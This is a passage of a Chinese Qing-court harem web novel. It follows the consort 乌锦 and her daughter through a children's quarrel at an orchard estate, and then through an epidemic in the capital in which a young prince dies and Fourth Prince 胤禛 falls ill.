等了去庄园那一天,几乎后院所有的主子都出动了,马车就调来了七辆,乌锦他们自己一辆马车,当天去当天回,也无需带太多东西。
曦宁一开始知道要出门玩就很兴奋,坐在马车里问东问西,其实她们去过庄园一次,就一年前的事,只是曦宁还小,已经不记得自己去过庄园了。
乌锦搂着女儿,耐心回答她的问题。
等到庄园时,一行人从马车上下来,随着四阿哥进去。
正值七月,炎热夏季,这庄园里许多果树正是成熟长果子的时期,果园这边是满满当当的果子,山楂树、石榴树、枣树,苹果树都结了果子。
曦宁已经撒开欢地在果园这边窜来窜去,乌锦让戚妈妈跟乔妈妈跟上去。
宋氏走到她身边,笑道:“这地方很适合让曦宁格格过来玩,你看她多开心。”
“只要让她出来玩,她肯定开心,小孩子老拘在府里,这府里哪个地方都去过了,一说出来玩,她从昨天开始就惦记了。”
“可不是嘛,孩子就不该拘着。”
宋氏看一眼前面,用手肘碰了碰她:“妹妹,你看,苏格格从下马车就一直跟在主子爷身边,这才进府几天,就想着争宠了,钮祜禄氏还安分一点,只跟在福晋身边。”
乌锦看一眼紧跟在四阿哥身边的苏氏,觉得这没什么,既然都进贝勒府了,肯定想着争宠侍寝,早日生下阿哥,苏氏这么做也没什么不对的。
跟在四阿哥身边的人不仅有苏氏,还有郭氏她们,这是难得靠近四阿哥的机会,看四阿哥那样子也不会驱离她们。
“姐姐,我们也去摘果子吧,难得来一趟,要把所有果子都尝一遍才行,把肚子装满。”
宋氏笑道:“妹妹就这么馋吗?府里又不是没有这些果子,难不成府里那些奴才还短你这些吃的?”
“别人送来的跟自己亲手摘的还是不一样,姐姐,来吧,我们拿个篮子,看谁摘的多。”
“你不跟着曦宁吗?”
“没事,有奶娘跟着呢,我们自己摘自己的,让她自己玩。”
宋氏被乌锦拉着去摘果子,乌锦是一点都不讲究,刚摘下来的果子往衣服一擦就吃了。
耿氏也凑过来,几人一块摘,气氛和乐。
其实后院这些女人常年困在后宅里,也是难得出来一趟,即便是单纯地摘果子,她们内心也是高兴的。
即便是夏日炎热,她们开始出汗,但仍乐在其中。
乌锦已经想好把摘的这些果子拿回去熬果酱,一下子吃肯定是吃不完的,她忙着摘果子,没空去想四阿哥那边是什么情形,别人争不争宠也跟她没关系。
她摘满一筐,君梅忽然说道:“主子,你有没有听到哭声,好像是小格格在哭。”
乌锦竖起耳朵听,发现好像真的是曦宁在哭,她忙放下果篮,循着哭声走过去。
她见到一群人都聚在一块,以四阿哥为首,侧福晋跟李氏他们都在,自家女儿在中间嚎啕大哭,脸上还留着血,她忙小跑过去。
“怎么了,这是怎么了?”
曦宁一见到自己额娘,从戚妈妈怀里挣脱出来,到自己额娘的怀抱里。
乌锦先看曦宁脸上的伤口,像是被什么划了一下,有一道不深不浅的伤口,已经破皮了,她用手帕给她擦干净血。
她难得冷脸,问道:“谁能告诉我发生了什么?怎么会见血?”
“是姐姐推的姐姐。”弘昀开口,指着曦玉说道。
曦玉委屈大喊道:“我不是故意的,是她先抢我摘的苹果。”
乌锦看一眼戚妈妈,戚妈妈便说是小格格见到掉在地上的苹果,想捡起来时被大格格推了一下,小格格摔倒时被地上的树枝划到脸才出现的伤口。
曦玉否认道:“那苹果明明是我先看到的,是妹妹抢我的。”
李氏忙出来扯了扯自家女儿,教训道:“曦玉,再怎么样,你都不能推妹妹,你看你害妹妹受伤了。”
这伤口还是在脸上,女孩子脸面多重要,万一将来留下伤疤怎么办,李氏已经瞥到主子爷冷沉的脸色,这事是曦玉不对,她让曦玉道歉,曦玉偏偏还犟着嘴不肯道歉,说她没有错,把李氏给急坏了,求助的眼神看向福晋。
福晋不得不站出来打圆场:“曦玉,这的确是你不对的,不管这苹果是不是你先看到的,你都不应该推妹妹,妹妹还小,你是姐姐,你该让着妹妹才是,快跟妹妹道歉,道歉了就没事了。”
“我没有错,谁要她跟我抢东西,那是我的东西!”曦玉依旧大喊。
“曦玉,平日里你额娘就是这样教你的吗?不懂得谦让,还以大欺小,没有一点做姐姐的样子,还不肯认错,你让阿玛很失望,你跟你额娘就留在庄园这边闭门思过一个月,什么时候你认错了,什么时候回府,来人啊,收拾东西准备回府。”
“阿玛……”
四阿哥冷冷地盯了曦玉一眼,没有改口,直接带着人离开,只留下李氏跟曦玉继续在庄园里面。
曦玉吓得不敢再说话。
乌锦带着曦宁回到马车上,先用清水替她清理脸上的伤口,还好她带了一瓶金疮药过来,简单替她处理。
曦宁已经哭累了,这会静静躺在她怀里。
“额娘,我不喜欢姐姐。”
“额娘知道,不喜欢就不喜欢,以后离姐姐远一点就是。”
曦玉已经不是一次两次对曦宁不满,乌锦见到女儿脸上流血的时候心真是揪了一下,曦玉毕竟已经八岁了,她没法觉得曦玉只是小孩子,还不懂事,不知道推人会有什么后果,曦玉的确是以大欺小,她原本还想着两姐妹好好相处,现在只想让女儿离曦玉远一点,免得再次受伤。
至于四阿哥让曦玉跟李氏留在庄园里反思,其实这惩罚也不小了,她也没法再说什么,总不能划伤曦玉的脸报复回去。
回到贝勒府,柯大夫赶
紧过来替曦宁处理伤口,说这伤口不算特别深,后续恢复得好,可能不会留疤,伤口没好之前,尽量忌口,别吃一些辛辣之食,让她们每日抹一遍舒痕膏。
“额娘,我想睡觉。”
“你跟戚妈妈回你房间睡好不好。”
曦宁乖乖点头,乌锦让奶娘抱走孩子。
“是我不对,没看好她们。”
乌锦看向四阿哥,他把错揽在他身上,还是为曦玉求情了,毕竟曦玉也是他女儿,只是她今天没有心思应付他。
“主子爷,我知道了,这是她们姐妹之间的事,怪不了其他人,我也有不对,没跟在曦宁身边,李姐姐那边,主子爷记得让人送些东西过去,这事就先这样吧,我也累了,主子爷回去吧。”
“你还是在怪我?”
乌锦满脸无奈:“我没怪你,我只是不想跟你说话,你让我静一静吧。”
“那我不吵你,你别理我就是,但我不走,我就在这里看着你。”
乌锦叹口气,就真的没再理他,她让君梅给她拆掉发髻,让听春给她备水沐浴,她又简单吃点东西,吃完后就睡床上躺着,对某个坐在铺炕上的人视而不见,等他也来到床上躺着时,她就假寐,是真的不想跟他说话,倒不是责怪他,就纯粹是不想说话,假着假着就真的睡着了。
等她睡醒,依稀听到女儿跟他说话的声音,她穿上平底绣鞋走过去,见到女儿坐在他怀里,而四阿哥拿着故事集给女儿讲故事。
“额娘,你醒了,阿玛在跟我讲故事。”
乌锦嗯了一声,见自己女儿已经恢复精神,不把脸上的伤口放在心上,小孩子的情绪来得快去得也快。
“额娘,我已经不生姐姐的气了。”
“为什么?”
“姐姐不是故意的。”
乌锦看四阿哥,瞪他一眼,寻思着是不是他故意教女儿这么说的,手心手背都是肉,他想将此事揭过?
“不是我教她的。”四阿哥仿佛看懂她的眼神,立即解释道。
乌锦过去摸了摸女儿的头,在四阿哥面前,她还是说了一句:“你原谅姐姐就好,姐姐应该不是故意的,继续听你阿玛讲故事吧,最好把这本书都讲完,额娘觉得你该去学堂那边读书了,爷,你记得给她请几个谙达教她满蒙汉语,不然她每天都想着玩,把性子也玩野了,再想收回来就来不及了。”
“额娘,我可以跟弟弟一起吗?”
“弟弟比你小,弟弟还不着急。”
“弟弟不去,我也不去。”
乌锦给四阿哥递个眼神,让他解决这个问题。
胤禛只好出声道:“弟弟也去,你跟弟弟一起。”
曦宁这才笑了笑,小孩子想要有伴,有伴她就安心。
听春进来福福身,说道:“主子爷,主子,苏格格求见。”
乌锦挑眉,苏格格怎么会过来,她示意听春把人领进来。
苏格格还是穿着今天早上那件绣百合的旗装,不过脸上好像有刻意打扮过,乌锦就明白了,苏格格这是醉翁之意不在酒。
“给主子爷请安,主子爷万福,给侧福晋请安,侧福晋万福。”
“起来吧。”
苏氏抬头,声音温柔:“妾身是想过来看看小格格,不知道小格格伤势如何。”
乌锦也坐在铺炕上,平静道:“是小伤,过十几日应该就没有大碍了,有劳妹妹特意过来关心了,妹妹真是有心了。”
“那就好,妾身很担心小格格,小格格脸上应该不会留疤吧。”
“应该不会,不用担心,时辰不早了,妹妹要不要留下来跟我们一起用膳?”
“不了,妾身不敢打扰姐姐,小格格没事就好,妾身先走了。”
苏氏福福身,由听春领着出去。
乌锦也没有继续说苏氏,只是开始剥橘子,分给父女两一人一个。
小才子进来问他们晚膳想吃什么,乌锦说天热,让他们弄些酸的菜,煮白粥配着吃,不想吃硬米饭。
傍晚,一家三口围坐在一起,曦宁胃口不错,吃了两碗白粥,吃饱后,乌锦拉着女儿到院子里坐秋千,让女儿消消食。
某个人也很识相地到她身后,替她推秋千。
他今天一天赖在这,是觉得有愧,也是替他另一个女儿道歉,乌锦瞧得明白,虽说他将曦玉跟李氏留在庄园那边,但庄园那边又不是少吃少喝的,庄园的奴才肯定也会将主子伺候好,不敢怠慢主子,虽是惩罚,但其实母女两也没有真的受苦,倒是曦宁有可能毁容,他心里有她们,也有别人,曦玉也是他的女儿。
“阿玛,你怎么只推额娘,你要推我。”
“那你坐好。”
乌锦看着父女两互动,也跟着笑了笑。
这样的日子还不错。
……
另一边的云水堂,天黑后,乌喇那拉氏见主子爷真的让李氏跟曦玉留在庄园时,倒有点意外,在她看来,曦宁脸上的伤没有很严重,主子爷竟然让李氏母女两闭门思过一个月,这罚得有点久了,以前从来没有过。
主子爷是真的将乌氏母女两捧在手心里,不动怒则已,一动怒就是这么重的惩罚。
李氏母女两今日肯定也没带太多东西过去庄园,她请示过主子爷后让人送了一些东西过去。
乌喇那拉氏越来越觉得乌氏盛宠太过,主子爷几乎看不见后院其它女人,她越来越担心,将来乌氏又有身孕,万一乌氏生下阿哥怎么办。
以主子爷对乌氏喜欢的程度,保不齐乌氏的孩子会更得主子爷的心。
乌喇那拉氏觉得该让人分掉乌氏的恩宠,要是有人像乌氏那样笼住主子爷的心,她也能稍微放心一个,一个是全部占有,两个是平分,至少没那么实。
新进府的两个格格长相还不错,其实要论长相,跟乌氏一同进府的章佳氏长得不错,偏偏章佳氏性子怯怯弱弱的,很害怕见到主子爷,也不愿意靠近主子爷,主子爷对她也没有很喜欢,放在后院里只是多添一张嘴吃饭而已,很少召章佳氏侍寝。
所以要有人分掉乌氏的恩宠,那只能是新来的两位格格,她们刚进府几天,她看出来苏氏比钮祜禄氏更想得宠,就是不知道主子爷会先让谁侍寝。
“福晋,侧福晋真的要留在庄园那边一个月吗?”
乌喇那拉氏看向崔嬷嬷,说道:“主子爷当着我们的面下的令,又岂会更改,恐怕她们母女两真的要在庄园那边待一个月,曦玉这孩子性子是稍微偏激了一些,她也不是第一次了,嬷嬷,你让伺候弘晖那些奴才都得时时刻刻跟在弘晖身边,虽说曦玉对弘晖不会这样,但也得小心,别让曦玉伤到弘晖。”
崔嬷嬷说:“福晋,弘晖阿哥白天要去上书房,从上书房那边回来后,他自觉练字,跟曦玉格格他们已经很少玩在一块了。”
“这是好事,主子爷对弘晖要求严格,他能够自觉是好事。”
前朝的事,她也略有耳闻,尤其是最近皇上重用几个成年的阿哥,朝中渐渐有别的传言,说是皇上不打算让太子继位,而是让其他阿哥继位。
这就是儿子多的坏处,皇上对太子不满,有的是儿子让他挑选,有的是阿哥
上位,跟弘晖一样,弘晖底下也有几个弟弟,所以弘晖的世子之位也未必是弘晖的,尤其是几兄弟年纪相差不大。
乌喇那拉氏忍不住叹口气,她希望弘晖是一个出色优秀的孩子,希望乌氏生不出阿哥。
“好啦,该歇了。”
夜深了,云水堂陷入寂静。
乌喇那拉氏原本以为可能过个几日或是十几日,主子爷会让李氏母女两回来,或是乌锦会替李氏求情,主子爷顺着台阶下,让李氏母女两提前回来,但半个月过去,李氏母女两还在庄园那边。
弘昀跟弘时两个小阿哥都是有奶娘跟奴才照顾,身为福晋,她也得分心照顾两个小阿哥,尤其是弘时还小,照顾起来需要耗费心力。
意外就在李氏不在这段事件发生,弘昀去花园那边玩时,不小心掉进挖好的池塘,那池塘还没有往里面引水,地下是铺好的石砖,虽有围栏,但小孩子太调皮,什么都敢翻,那些奴才也没有看管阿哥,弘昀是后脑勺着地,直接摔肿起来,嘴巴流血。
第87章第87章更新,新文求收
第87章
乌喇那拉氏赶紧让人请柯大夫,请小儿方科的太医过来,也让人去通知四阿哥,她自己也连忙过去照看弘昀。
弘昀哭闹不止,奶娘怎么安抚都不管用,乌喇那拉氏看着干着急,好在柯大夫先过来了。
“柯大夫,小阿哥没事吧?”
柯大夫反而脸色凝重,说还不好说,小阿哥摔得重,万一脑袋里面出血,恐怕就不好治了。
乌喇那拉氏见弘昀一直哭着喊着要额娘,十分可怜,刚想让人去催四阿哥过来时,四阿哥就进来了,她连忙道:“爷,弘昀想要额娘,要不让人去请李妹妹回来吧,刚刚柯大夫说弘昀可能脑袋里面出血了。”
胤禛眼神示意一下苏培盛。
苏培盛立即会意,忙走出去叫人把侧福晋带回来。
胤禛走到床边想安抚弘昀,但这个时候的弘昀只想要自己最亲近的人,一直哭着喊额娘两个字,哭到嗓子都沙哑了。
“弟弟……”
乌喇那拉氏回头看到曦宁跟乌氏,曦宁见到弘昀在哭,小跑过去,然后自己手脚并用爬上床,让弘昀别哭了。
平日里两个小孩子玩得多,曦宁一直让弘昀别哭了,弘昀见到曦宁后也慢慢平静下来。
太医也过来了,询问弘昀几句,见弘昀神智清晰,对答还算清楚,说应该没有大碍,人的头骨是最坚硬的地方,有时候没那么容易摔坏,持续观察一天,孩子没有突然出血或是抽搐,脑袋应该没事。
太医给药膏让擦在后脑勺伤处。
李氏跟曦玉也在一个时辰后被接回府,见到弘昀后脑勺肿起那么大一块,瞬间掉泪,心疼不已,抱着弘昀又是一阵哭。
乌喇那拉氏上前安抚,才让李氏停止哭泣。
因弘昀受伤,李氏提前回府。
乌喇那拉氏回到云水堂,喝口水。
“福晋,怎么了?”
乌喇那拉氏看向崔嬷嬷,只是摇摇头,其实刚刚她竟然有点失落,她发现自己内心是盼着弘昀出事的,弘昀出事,李氏没了一个阿哥,又是因为乌氏母女两,李氏她们才被滞留在庄园,李氏没见到最后一面,弘昀要是真的没了,李氏肯定会恨上乌氏,两人结仇,她可以渔翁得利。
但弘昀命大,太医说他没事。
“好啦,我累了,我去歇一会。”乌喇那拉氏回床上歇一会。
……
乌锦这边也已经带着曦宁回桃园,曦宁还在担心弘昀,一路念叨。
“好啦,弟弟没事,你看弟弟伤成这样,你以后还赶敢不敢随便乱爬,池塘那边,你要离得远一点,不然你会像弟弟那样掉下去。”
曦宁挺着脖子,傲娇道:“额娘,我才没有弟弟那么笨,我不会掉下去的。”
乌锦捏了捏女儿的耳朵,她才三岁,聪明到哪里去,不过这事得叮嘱那些随身跟着小主子的奴才跟奶娘才是,他们要把小主子看住才行,不能离身。
这会太阳正烈,乌锦让女儿自己在屋里玩积木,她也看一会书。
刚坐下来不久,李氏就带着曦玉过来为十几天前的事道歉。
“我不该推妹妹,把妹妹弄伤,都是我不对,我以后再也不会这样了,我已经知错了,还请乌夫人跟妹妹原谅我一回。”
曦玉看上去很诚恳,像是真的意识到错了,乌锦也懒得理她是不是真的真心道歉,她已经打定主意让女儿离曦玉远一点,再有下一次,她也不会顾及四阿哥,肯定以牙还牙,以暴制暴。
“那请曦玉格格记住今天说的话,曦宁毕竟比你小,她打不过你,但有人能打得过你,再有下一次,就不是一句知错了就可以原谅了。”
李氏见到乌氏眼神变冷,言语之间对曦玉充满警告,她也是一愣,原先以为乌氏是温和的人,没想到她也有强势的一面,本以为她们道歉就过去了,但乌氏好像记仇了,她还没记仇呢,她们母女两在庄园那边待了十几天,弘昀又受伤,是她们害得她们被主子爷重罚,今天看曦宁脸上已经没有伤口,恢复如初,可见曦宁脸上的伤根本没那么严重,只是流了一点血。
一件件一桩桩加起来,李氏对乌锦已经积攒了不少不满,觉得她恃宠而骄,同为侧福晋,她还摆脸色给她看。
李氏心有不满,但还是替女儿道歉道:“曦玉已经知错了,不会再有下一次,小孩子打打闹闹很正常,她们是亲姐妹,还是希望以后能好好相处。”
“没什么事的话,姐姐回去守着弘昀吧,弘昀这阵子应该很想姐姐。”
逐客令这么明显,李氏只好带着女儿离开。
乌锦也不管李氏她们怎么想,平日里她们井水不犯河水就好,不用故意亲近交好。
当天傍晚,四阿哥过来,他们一家三口一起吃饭。
饭后,四阿哥解释一句:“是弘昀受伤,柯大夫说弘昀可能脑中出血,我才让李氏回来的。”
“爷,我明白的,事出有因,你不用解释,既然回来了,就没有必要再回去,我以后让曦宁远着点曦玉,虽说对主子爷而言手心手背都是肉,但于我而言,我的女儿只有一个,没有第二个,这次是看在主子爷的面上,我才没有计较,再有下一次,主子爷就别想再让我息事宁人。”
“不会的,曦玉已经知错,不会有下一次。”
乌锦也不想再跟他谈论此事,他心里还是向着曦玉,毕竟曦玉也的确也是他的女儿,他肯定不希望她继续纠缠此事,闹个没完没了,男人骨子里还是希望女人懂事,一旦你不懂事,他可能是另外一副面孔。
“君梅,备水吧。”
天热,乌锦一天得洗一到两次澡,她没理四阿哥,直接去净室洗澡,洗完之后,她慢慢擦拭头发。
入夜后,她躺回床上,闭眼睡觉。
胤禛想做些什么都不能做,知道今晚绝对不能动她,只好歇了心思。
……
七月底,内务府那边送来一些木瓜,福晋分给府里的主子,乌锦也得了三个,她拿着勺子挖木瓜。
曦宁也学着她,一只手抱着抱着木瓜,另一只手拿着勺子挖木瓜,吃得津津有味。
天热,她额间出了一些汗。
乌锦给她擦擦汗,让她慢点吃。
“额娘好吃,我可以分给弟弟吗?”
“弟弟那也有,不用你分。”
曦宁又继续吃,宋氏从外面进来,笑道:“哟,这就吃上了?曦宁要是喜欢,我那还有。”
乌锦摇摇头:“姐姐留着自己吃,她吃一个就够了。”
“你有没有听说宫里那边出事了?”
乌锦侧目过去,问出什么事了。
“其实我也不知道,只是听说宫里一连死了好几个人,皇宫已经戒严了。”
乌锦有些意外,又是死人,又是戒严,难不成真的出事了?
府里还没有收到什么风声,她问宋氏从哪听来的消息。
“我今天出去逛街,
不小心听到的,不知是真是假,说是宫里死人是因为有疫病,才会连着死人。”
乌锦眼睛瞪大,疫病?这瘟疫可是会传染的,尤其是天热的时候,这可不是小事。
“希望不是真的,我小时候就经历过一次瘟疫,那个时候死的人可不是一个两个,城里都有异味,衙门的人天天在烧尸体,可吓人了,那会我还没进府,不知京城这边的情况。”
乌锦也知道瘟疫的厉害,尤其是古代的医疗技术,不说在古代了,在现代传染病都很吓人,她听着莫名心慌,看向女儿。
宫里那边若是真的戒严了,四阿哥应该也很快得到消息吧。
“希望不是真的,不然这京城恐怕要乱了。”宋氏叹口气说道。
乌锦脸色严肃,也希望不是真的。
然而仅过一天,四阿哥就下令府里的人不得随便外出,大门侧门后门都关紧,他把她们都召过去,跟她们说京城出现疫病,宫中已有人被传染,这疫病来势汹汹,让她们别随意外出,尽量不跟外面的人接触,吩咐奴才烧热水将府里上下擦拭一遍。
还真是疫病,乌锦心里咯噔一下。
“这疫病是先在京城发现的,这段日子,京城可能会有些动荡,皇阿玛让我跟胤禩他们负责内城的秩序,我得出府,如非必要,你们不必过去前院,让人传话给我即可。”
福晋开口问道:“那主子爷是不是会有危险?爷要如何防范这疫病?”
“太医院那边会尽快研究出治疗疫病的药方,目前为止,先遮住口鼻来防范,福晋,你也吩咐下去,出府采买的奴才记得要带面罩遮住口鼻,其它的,之后再看,你们这段时间就好好待在府里,福晋,这后院就交给你了,别让我担心。”
福晋说道:“主子爷放心,我肯定管好府里的一切,不让爷操心,我们只求爷能平平安安的。”
“不用担心我,弘晖这段时间也不必去上书房,孩子还小,你们更要注意,一旦有发烧起热症状,立即回禀给我,好啦,暂且都散了,我还要出去一趟。”
四阿哥交代完后又出府了。
福晋也让人将大门后门侧门都关上,让奴才烧热水消杀,不管起不起作用,先做了再说。
福晋也盘点府里所剩的药材,不够的话要出去采买一些,免得疫病发展迅速,更买不到药材。
贝勒府上下都开始忙活。
君梅她们也开始用热水擦拭桃园的里里外外,乌锦开始担心家里,她小时候只听说过疫病,还没真正见识过,这一次是京城先发现,跟在外地先发现不一样。
“额娘,我不能出去玩了吗?”
“不能出府,只能府里玩。”乌锦下意识地摸了摸女儿额头,并没有发烧,她搂着女儿,“这些日子,外面不太平,我们就在府里玩就行。”
“什么是不太平?”
“就是外面会有很多坏人,你还小,不用问这些,好好待在额娘身边就行,别随便乱跑,你不想跟额娘玩吗?你跟额娘玩行不行?”
“我想跟弟弟一起玩。”
“弟弟啊,等弟弟过来找你,弟弟不主动过来找你,你就跟额娘玩好不好。”
曦宁懵懵懂懂地点头。
其实他们这些居在府里的人还好,四阿哥要到府外维护内城的秩序,在外奔波,他才是最危险的,最有可能染疫的,所以他才不要她们过去前院找他,跟他接触。
这是皇上下达的旨令,他身为皇子也不得不从。
之后几天,乌锦在府里的日子还是过得相对平静,只是不知道外面发生了什么事,她仍心有不安。
……
事实上京城的确不太平,胤禛负责维护内城的秩序,城门这边已经关上,进出的人都得检查,他跟胤禩负责内城,胤褆跟胤祉负责外城,他们两个人还得驻扎在外城那边。
起初他们还将染疫的人围起来,将他们安置在一个大院里面,让几个太医负责医治,太医也好研究治疫的配方。
但随着染疫的人越来越多,有人轻症,有人重症,治疗的速度比不上染疫速度,还有些人这个时候生病发烧了,没有上报,选择隐瞒,而导致传染的人越来越多。
内城开始有些动乱,胤禛不得不武力镇压。
随着时间过去,太医们也找不到治疫的方法,越来越多人染疫,大夫跟太医的数量不足以应对这么多病人,有人得不到医治死去。
太医们怕尸体也有传染性,说是要烧尸,一烧尸,这百姓就更加恐慌,传出谁染疫,谁就会被带去烧死,于是有更多人选择瞒报。
他们无法得知内城有多少人染疫,还出现了抢药材抢粮食的动静。
京城内的护军也开始数量不足。
胤禛每天忙得焦头烂额,内城已是这样的光景,外城更不用说,乱成一团。
眨眼间过去一个月,外面还是乱糟糟的,太医齐心研制出来的药方起了一点作用,也仅是一点点而已。
祸不单行的是弘昀开始发烧了,李氏让人告诉他时,胤禛过去邀月苑看弘昀,弘昀双颊通红,额间很烫,这就是染疫的病症之一。
“主子爷,弘昀他只是发烧而已,并非染疫,许是昨夜着凉了,爷请太医给弘昀医治,弘昀肯定能好起来的。”
胤禛见李氏眼眶泛红,他叹口气:“弘昀是否染疫还不知道,先让柯大夫给弘昀医治,留两个奴才在屋里伺候弘昀,你不必留在房间中,其他人也别靠近弘昀。”
“不行,我要留在这里陪着我儿子,爷,你就让我留下来。”
“你还有曦玉跟弘时,弘时还小,更需要你照顾,弘昀就让奴才照顾,我也会让治疫的药方拿回来,让膳房的人煎药,不管弘昀有没有染疫,我一定会让人尽全力医治他。”
“主子爷……”
“听我的!”
许是胤禛的态度强硬,李氏不敢说什么,胤禛留原本贴身伺候弘昀的奴才在房间里,其他人都赶出去,将弘昀的房间暂且封起来。
不仅如此,邀月苑也暂且封起来,不让里面的人外出,膳食让人送进去。
胤禛也请太医过来给弘昀看病,让大夫跟太医时刻留心着弘昀的病情。
然而小孩子体弱,弘昀才三岁,过了十几日,弘昀就撑不住了,上吐下泻,烧得厉害,吃不进去东西,皮肤开始溃烂。
太医将这些回禀给他的时候,胤禛已经知道弘昀这个孩子保不住了。
果不其然,到了九月六日,弘昀病逝,因为弘昀是染疫而死,他也没有让李氏他们过多靠近弘昀的尸体,怕传染给其它人,匆匆将弘昀下葬在郊外陵园。
胤禛来不及悲伤,他依旧在外面维护内城的安稳。
许是他在外面接触的人不少,当他发现自己也开始发烧时,他是有些心慌的,人都是惜命的,他肯定不想死。
他发烧后也将自己关在前院,让人告诉皇阿玛,也请了太医过来给他医治,福晋她们想来看他时,被他拒绝。
烧得严重时,胤禛突然想叫乌锦过来,他想着他自己要死了,乌锦也得陪他,死后他们两葬在一块。
好在他烧得严重时,人意识不清,没有下达这道命令,等他恢复意识时,这个念头其实也没有消散,只是他觉得自己可能死不了,他毕竟是大人,比小孩子要强壮一些,能抗一些,所以才没有让乌锦过来。
他收到乌锦送来的平安符时,想着自己一定要撑过去,他还有好多事要做,他要是真死了,他也会让乌锦陪葬。
他意识清楚时,起来写了一封遗书,交代后事,特别标明要乌锦陪葬,她身为侧福晋,给他一个皇子是应该的,那个女人没良心,他要是真死了,她估计也就难过一会,要她陪葬,至少她永远陪着他。
……
乌锦这边先是听说弘昀染疫而死,后是听说四阿哥也开始发烧,这疫病已经传到贝勒府了,她也不免担忧起来。
这个时候她不能过去前院,只是
让苏公公递一个平安符给四阿哥,平安符是她亲自绣的,她肯定不想四阿哥出事,但亲自过去照顾四阿哥,她其实是不想的。
毕竟这是会传染人的疫病,她要是也感染上,曦宁怎么办,四阿哥是主子,他哪怕是染疫,身边也会有人伺候他,她何必过去添乱。
她每日跟女儿待在桃园,哪也不去,只盼着这样的日子赶紧过去。
“额娘,我想去找弟弟玩,我什么时候可以找弟弟玩?”
曦宁睁着大眼睛问她,乌锦看着天真的女儿,她还没告诉她,弘昀以后都不能陪她玩了,弘昀已经不在了,女儿还盼着跟弘昀一起玩。
“现在还不可以,再等等,外面有很多人生病,你出去后可能也会生病,你想喝很苦的药吗?生病要喝很苦的药哟。”
“我不想喝药。”
“那你就不能出去,等过一段时间才可以出去。”
“我不可以出去,那弟弟可以来找我吗?”
“弟弟也不可以来找你,额娘给你讲故事好不好?”
曦宁撅着嘴说她已经听过所有故事了。
“那来练字,额娘教你写字好不好?”
无聊的曦宁只好点头。
其实乌锦原本就打算这个月送曦宁去学堂,有了疫情后,上学这事才搁置下来,她也不知道外面情况如何,不过连四阿哥都染疫了,估计外面也不大好。
为了让曦宁好好练字,她给她做的毛笔是可爱型,上面挂着一个短胖的兔子,她虽然满蒙语不如汉语那么熟悉掌握,不过教小孩子不成问题。
只是曦宁没什么耐心,学一会就不想学了,又跑去玩积木,乌锦就不管她。
过一会儿,小才子进来说苏公公那边传话过来说是主子爷身子有所好转。
乌锦这才松一口气,好转就行,他这个时候应该还死不了,她不懂医,也帮不了他。
日子一天天过去,到了十一月底,听说太医院那边已经研究出治疫的方法,颇有成效,轻症的病人逐渐好转。
乌锦听说四阿哥已经差不多病愈,开始有力气处理府里府外的事务,连皇上也派人过来慰问四阿哥,京城也逐渐安稳下来。
乌锦上一次见到四阿哥已经是四个月前的事情,人没见到,只是偶有传话通信,四阿哥让人给她传话说他已经没有大碍,她又编了一个平安结给他送过去。
曦宁这孩子已经快在桃园待不住了,天天吵着要出去玩,还惦记着弘昀,乌锦一遍遍跟她说快了,她很快就可以出去玩。
这话说到十二月初,直到四阿哥出现在她们面前,乌锦才觉得这疫情过去了,她看着四阿哥是消瘦了一些,脸上的肉也没了。
许是担心受怕几个月,乌锦看着他,心情复杂,不由地红了眼眶,哽咽道:“爷,你瘦了。”
胤禛对乌锦见到他就落泪的样子还是欣慰不少,还算她有良心。
“至少命还在,瘦就瘦吧,哭什么,我又没死,有什么好哭的。”胤禛过去给她抹去眼泪。
乌锦也不知道自己为什么突然想哭,这个人她原先是恨他的,可是几年过去,她心里开始盼着他能好好的,长命百岁,祸害遗千年,她不想他英年早逝,她靠在他胸膛上落泪。
“好啦,别哭了,我没死,不许哭。”
乌锦气得拍他几下,然后抬头说道:“爷,你好了,是不是不会传染了?”
“放心吧,要是会传染,我就不会过来见你了。”
乌锦这才安心靠在他身上。
曦宁站在一旁,几个月没见阿玛,觉得阿玛陌生,她有些不敢靠近。
第88章第88章更新
“爷没事就好,这疫情过去了没有?可以出府了吗?”乌锦停止落泪,抬头问道。
“快了,暂时还是不要出去为好,等彻底过去再出去也不迟,你家里人都没事,不用担心。”
有四阿哥这句话,乌锦悬着的心终于放下。
“阿玛……”曦宁弱弱地喊了一声。
胤禛低头看自己女儿,弯腰把女儿抱起来,弘昀的死让他难过许久,那个孩子不像刚出生就夭折的那些婴儿,他能走能跑,能说能笑,跟曦宁一样会叫他阿玛了。
他将母女两一同揽到怀里,有些庆幸自己能死里逃生,活了下来。
到了用膳时辰,他们坐下来吃饭。
胤禛还有很多事要忙,吃完饭就离开了。
乌锦难得带女儿走出桃园,这府里看上去一切如旧,外面再乱再糟糕,他们关起门来过日子也不大能感知到,可能这就是皇家跟普通老百姓的区别。
曦宁一心往花园那边跑,以为弘昀也会在花园,两人常在这边玩,只是她来到花园没见到人,疑惑地回头看她。
“额娘,弟弟怎么没出来玩?”
乌锦半蹲下来跟曦宁说话:“弟弟他去别的地方了,他可能很久都不会跟你一起玩了,长大后他可能才会回来。”
“弟弟去哪里了?为什么不跟我一起玩?”
“因为他去别的地方了,你得等他回来。”
曦宁眼睛里依旧充满疑惑:“可是我想现在就跟弟弟玩,额娘带我去找弟弟好不好?”
三岁半的孩子可能还不懂死亡是什么,乌锦只好继续骗她:“弟弟去的地方很远,我们不能过去,额娘陪你玩好不好?”
这几个月都是她们陪着她玩,显然她陪她玩已经不大能吸引曦宁,曦宁看上去有些失落,乌锦带着她采花转移她的注意力,将掉落在地上的花朵别在她耳朵后面。
曦宁也学着捡起一朵花别在她耳朵后面,然后要她追着她跑。
一玩起来,曦宁就不再想着弟弟。
“给侧福晋请安,侧福晋万福。”
苏氏带着丫鬟出现在花园里,给她行礼,几个月不见,苏氏并无不同,甚至还穿了一件颜色较为鲜艳的梅红色袄子。
“妹妹不必多礼。”
“许久不见,曦宁格格好像长高了一点。”
苏氏有意跟她闲聊,乌锦说她每天都能见到,看不出来有没有长高,许是真的长高了。
“曦宁格格还有机会长高,就是弘昀阿哥……唉,弘昀阿哥跟曦宁还是同一年出生的,听说平日里常跟曦宁格格一块玩,这疫病太吓人了,还好主子爷没有大碍,就是弘昀小阿哥太可惜了。”
苏氏语气里充满哀悯,乌锦其实不大想跟她说这些,苏氏并不是弘昀的生母,疫情之前,苏氏也才刚进府不久而已,要说她对弘昀有很深的感情也不至于,对见过几面的孩子能有多深的情感,真正伤心的人应该是李氏。
“清风苑那边可有人染疫?”
